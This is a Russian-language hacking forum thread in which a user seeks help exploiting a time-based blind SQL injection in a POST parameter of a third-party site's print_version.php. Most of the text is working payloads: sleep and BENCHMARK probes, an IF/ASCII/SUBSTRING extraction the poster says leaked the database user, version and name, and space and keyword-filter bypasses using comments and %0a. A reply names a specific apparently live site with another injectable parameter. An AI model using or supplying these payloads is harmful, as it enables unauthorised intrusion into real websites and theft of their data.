Всем привет, нашел скулю, но очень она странная.
Ссылку прямую дать не могу
Но может кто подскажет варианты, я хочу ее раскрутить:
Итак детали : Есть некий сайт, скажем
http://site.com
Где по следующей ссылке акунетикс нашел скулю блинд скл инжекшн.
http://site.com/misc/print_version.php
Уязвимость касается POST параметра
page was set to /rus/search.php'=sleep(2)='
Полные пост данные:
name=blah&page=/rus/search.php'=sleep(2)='
SQLMAP ее не находит.
Реакция сервера:
1) sleep(2) - засыпает на 20 секунд. Чтобы заснул на 1 секунду, приходится ставить sleep(0.1) - почему так непонятно
2) пробовал следующие варианты:
Не засыпаетИли не засыпает на добавочный слип)
page=blah'=sleep(0.2)='
page='=sleep(0.2)='
page=/rus/search.php'=sleep(0.1)= '
page=/rus/search.php'=sleep(0.1)='" AND (BENCHMARK(100000,SHA1(CURRENT_USER)))
page=/rus/search.php'=sleep(0.1)='" UNION SELECT (BENCHMARK(100000,SHA1(CURRENT_USER))) --
page=/rus/search.php'=(BENCHMARK(100000,SHA1(CURRENT_USER))) =1"
page=/rus/search.php'= (BENCHMARK(100000,SHA1(CURRENT_USER)))='
page=/rus/search.php='=SLEEP(0.1)+(BENCHMARK(100000,SHA1(CUR RENT_USER)))='
page=/rus/search.php'=sleep(0.1)=' AND WHERE (BENCHMARK(100000,SHA1(CURRENT_USER)))=1
page=/rus/search.php'=(IF((IFNULL(ASCII(SUBSTRING((SELECT @@version),1,1)),0)
jkchief а вы уверены, что это слепая инъекция? Скорее похоже, что вы не понимаете что творится с запросом и там возможно получить вывод. Ну и фильтруются пробелы.
Попробуйте замены пробелов вначале, а именно запросы вида:
Code:
page=/rus/search.php'/**/and/**/1=1/**/''='
page=/rus/search.php'/**/and/**/0=1/**/''='
page=/rus/search.php'%0aand%0a1=1%0a''='
page=/rus/search.php'%0aand%0a0=1%0a''='
И вопрос стоило писать сюда - /thread46016.html
/thread46016.html - сюда сначала и написал. Не знаю почему, но потом не нашел своего поста.
Может из-за того, что пост большой.
По уязвимости:
Сервер точно не выдает никаких ошибок. Вывод ошибок SQL сервера заблокирован.
page=/rus/search.php'/**/and/**/1=1/**/''='
page=/rus/search.php'/**/and/**/0=1/**/''='
page=/rus/search.php'%0aand%0a1=1%0a''='
page=/rus/search.php'%0aand%0a0=1%0a''='
Разве что нашел связанную с этим XSS, - на странице выводится в форме поиска скрытое поле, где вставлен value - текст запроса. Никаких признаков жизни от MySQL сервера.
Все варинанты не дейсвуют. Я уже прогонял уязвимость и SQLMAP и хавиджем, добавлял суффиксы и префиксы какие смог придумать. Ничего не находят. Акунетикс ее хоть и нашел, но вот его модуль Blind SQL injector не находит.
Однозначно это только слепая инжекшн.
И я однозначно не понимаю что творится с запросом и как он выглядит хотя-бы приблизительно.
jkchief откройте еще для себя параметр tamper в sqlmap. Проблема в пробелах а не суффиксах. И я имел ввиду нормальный вывод, а не вывод в ошибке.
Нормального вывода нет совсем. Это точно.
Остается засыпание.
За наводку на тампер спасибо, если до конца смогу раскрутить скулю, тогда попробую, а пока еще не могу полноценный запрос получить.
Немного доработал скулю и получил следующее:
name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(USER(),4,1))='116' ,1,sleep(0.1)))='
Таким образом узнал пользователя, версию бд, название бд.
Но дальше пойти не могу.....нужно же вместо USER() вставлять полноценный запрос селект:
Вот что пробовал:
Нашел в инете примеры обхода пробелов, типа:
select(null),mid(group_concat(table_name),600,100) ,(null)from(information_schema.tables)
select(null),table_name,(null)from(information_sch ema.tables)limit 28
select(null),group_concat(column_name),(null)from( information_schema.columns)where(table_name)=(0x75 73657273)
(вставленно заранее ложный кондишен и если запрос составлен правильно, то должен засыпать на секунду.)
Не засыпает:
name=blah&page=/rus/search.php'=(IF(ASCII(SELECT SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))='
name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(null)SUBSTRING(USER() ,4,1))='WTF',1,sleep(0.1)))='
name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(null),SUBSTRING(USER( ),4,1))='WTF',1,sleep(0.1)))='
name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(0),SUBSTRING(USER(),4 ,1))='WTF',1,sleep(0.1)))='
name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(select(0),group_co ncat(table_name),(0)from(information_schema.tables ),4,1))='WTF',1,sleep(0.1)))='
name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(SeLeCt(0),gRoup_Co nCat(table_name),(0)fRom(information_schema.tables ),4,1))='WTF',1,sleep(0.1)))='
name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables/*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()),4,1))='WTF',1,sleep(0.1)))='
name=blah&page=/rus/search.php'=(IF(ASCII(SELECT/*foo*/SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))='
Вроде как фильруется селект
Засыпает:
name=blah&page=/rus/search.php'=(IF(ASCII(/*Sfoo*/SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))='
name=blah&page=/rus/search.php'=(IF(ASCII(SUBS/*Sfoo*/TRING(USER(),4,1))='WTF',1,sleep(0.1)))='
Помимо такого обхода пробела можно еще попытаться использовать
Code:
%0a
, иногда срабатывает.
Также, проверить на фильтрацию чего либо (в данном случае - конструкции select или union select) можно, внедрив в заблаговременно успешный запрос конструкции вида
Code:
/*select*/
или
Code:
/*union select*/
соответственно.
И еще, можно попытаться подобрать другие параметры, влияющие на вывод. Например, поискав сайты со схожими конструкциями ссылок... Как вариант -
Code:
http://rollholl.ru/misc/print_version.php
POST
Code:
page=/rus/search.php?mode=&change=&cat=10&brand=0
Где параметр "cat" является уязвимым)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot